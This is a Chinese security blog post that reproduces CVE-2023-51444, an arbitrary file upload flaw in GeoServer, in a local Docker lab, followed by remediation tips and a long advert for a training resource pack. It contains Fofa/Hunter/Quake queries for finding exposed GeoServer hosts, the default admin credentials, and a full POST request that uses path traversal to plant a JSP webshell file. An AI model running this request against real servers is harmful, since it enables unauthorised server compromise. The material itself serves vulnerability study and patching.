免责声明

disclaimer

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。信息及工具收集于互联网，真实性及安全性自测，如有侵权请联系删除。本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！！！未经授权，严禁转载，如需转载，联系小明信安公众号。

0x02 漏洞介绍

Vulnerability introduction

GeoServer 是一个用 Java 编写的开源软件服务器，允许用户共享和编辑地理空间数据。

在`2.23.4`版本之前和`2.24.1`版本之前存在一个任意文件上传漏洞，允许经过身份验证的管理员通过`REST Coverage Store API`修改覆盖存储器权限上传任意文件内容到任意文件位置。漏洞利用需要管理员权限。

影响版本：

    GeoServer < 2.23.4

    2.24.0 <= GeoServer < 2.24.1

 CVE编号：

    CVE-2023-51444

0x03 搜索语法

Search for syntax

• Fofa

app="GeoServer"

• Hunter

app.name="GeoServer"

• Quake

app:"GeoServer"

0x04 漏洞复现

Request packets

• 本地搭建环境，还是使用docker来起一个geoserver服务。

docker run -itd -p 8080:8080 docker.osgeo.org/geoserver:2.22.x   

• 默认登录账号密码：admin/geoserver

• 然后点击工作空间，新建一个test，点击保存。

• 然后点击新建存储仓库，数据源选择ImageMosaic，工作空间选择刚刚新建的test。

• 然后，重点来了，关系到你能不能成功。

• 下面的连接参数选项，需要选择绝对路径，以这个镜像为例，点击浏览，目录选择/（就是根目录），可以浏览服务器文件目录结构，找到GeoServer的存储目录（就是存我们刚刚选择的ImageMosaic的目录）。

• 应该是xxx/xxx/xxx/coverages/mosaic_sample/，这个镜像在/opt/geoserver_data/coverages/mosaic_sample/，就选择这个目录，然后保存就行了。

• 直接输入file:///opt/geoserver_data/coverages/mosaic_sample/

• 最后一步，上传任意文件。构造数据包，我直接多写几个../穿到根目录，后面再加要写入的目录绝对路径（上面浏览中可以看到所有目录结构）。(这里我们选择可以解析jsp文件的目录，可以根据实际情况修改)。而且需要填写Cookie。

• 注意两个test，前面的是工作空间，后面的是存储仓库。

POST /geoserver/rest/workspaces/test/coveragestores/test/file.shp?filename=../../../../../opt/apache-tomcat-9.0.86/webapps/webshell/1.jsp HTTP/1.1   Host: your-ip   Content-Length: 3   Accept:image/avif,image/webp,image/apng,image/svg+xml, image/*,*/*;9-0.8   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36   x-forwarded-for:127.0.0.1   Cookie: remember-me=xxxx   Content-Type: multipart/form-data;; boundary-----WebKitFormBoundaryfoycybhDiQZEqxoy   Accept-Encoding: gzip, deflate, br   Accept-Language: zh-CN,zh;q=0.9   Connection: close      <% out.println("Hello World！");%>   

• 上传成功显示202

• 访问url/webshell/test.jsp，结束。

• 如果上传显示500，报错： Error while storing uploaded file:，说明最重要的一步存储仓库中的连接参数没有设置绝对路径。

0x05 nuclei POC

nuclei POC

• 不会写，但实际上有弱口令就成了一半。

  

0x07 修复建议

Remediation recommendations

• 在Web应用防火墙中添加接口临时黑名单规则。

• 升级版本。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

因篇幅有限，仅展示部分资料，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，需要点击下方链接即可前往获取

读者福利 | CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享 （安全链接，放心点击）

👉1.成长路线图&学习规划👈

要学习一门新的技术，作为新手一定要先学习成长路线图，方向不对，努力白费。

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字，我也为大家准备了视频教程，其中一共有21个章节，每个章节都是当前板块的精华浓缩。（全套教程文末领取哈）

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍：

黑客资料由于是敏感资源，这里不能直接展示哦！（全套教程文末领取哈）

👉4.护网行动资料👈

其中关于HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈

当你自学到这里，你就要开始思考找工作的事情了，而工作绕不开的就是真题和面试题。

所有资料共282G，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，可以扫描下方二维码或链接免费领取~

读者福利 | CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享 （安全链接，放心点击）